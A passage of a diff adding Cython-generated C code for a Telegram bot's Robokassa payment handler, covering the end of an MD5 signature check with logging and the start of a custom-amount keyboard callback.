(unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":215 + * + * expected_signature = ( + * hashlib.md5(signature_string.encode("utf-8")).hexdigest().upper() # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_md5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = PyUnicode_AsUTF8String(__pyx_v_signature_string); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_9 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_7}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_upper); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_v_expected_signature = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":218 + * ) + * + * logger.info(f"Expected signature: {expected_signature}") # <<<<<<<<<<<<<< + * logger.info(f"Received signature: {signature_value}") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_info); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_v_expected_signature, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Expected_signature, __pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":219 + * + * logger.info(f"Expected signature: {expected_signature}") + * logger.info(f"Received signature: {signature_value}") # <<<<<<<<<<<<<< + * + * return signature_value.upper() == expected_signature.upper() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_v_signature_value, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Received_signature, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_8}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":221 + * logger.info(f"Received signature: {signature_value}") + * + * return signature_value.upper() == expected_signature.upper() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_signature_value, __pyx_n_s_upper); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_expected_signature, __pyx_n_s_upper); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_t_8 = PyObject_RichCompare(__pyx_t_3, __pyx_t_1, Py_EQ); __Pyx_XGOTREF(__pyx_t_8); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __pyx_t_8; + __pyx_t_8 = 0; + goto __pyx_L0; + + /* "handlers/payments/robokassa_pay.py":203 + * + * + * def check_payment_signature(params): # <<<<<<<<<<<<<< + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_AddTraceback("handlers.payments.robokassa_pay.check_payment_signature", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_out_sum); + __Pyx_XDECREF(__pyx_v_inv_id); + __Pyx_XDECREF(__pyx_v_signature_value); + __Pyx_XDECREF(__pyx_v_shp_id); + __Pyx_XDECREF(__pyx_v_signature_string); + __Pyx_XDECREF(__pyx_v_expected_signature); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_15generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection = {"process_custom_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 224, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 224, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 224, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_selection") < 0)) __PYX_ERR(0, 224, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 224, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_custom_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_13process_custom_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_13process_custom_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 224, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_15generator3, __pyx_codeobj__24, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_selection, __pyx_n_s_process_custom_amount_selection, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_custom_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_15generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + Py_UCS4 __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 224, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":228 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * logger.info(f"User {tg_id} chose to enter a custom amount.") + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":229 + * ): + * tg_id = callback_query.message.chat.id + * logger.info(f"User {tg_id} chose to enter a custom amount.") # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_User); + __pyx_t_4 += 5; + __Pyx_GIVEREF(__pyx_kp_u_User); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_User); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_chose_to_enter_a_custom_amount); + __pyx_t_4 += 32; + __Pyx_GIVEREF(__pyx_kp_u_chose_to_enter_a_custom_amount); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_chose_to_enter_a_custom_amount); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":231 + * logger.info(f"User {tg_id} chose to enter a custom amount.") + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, 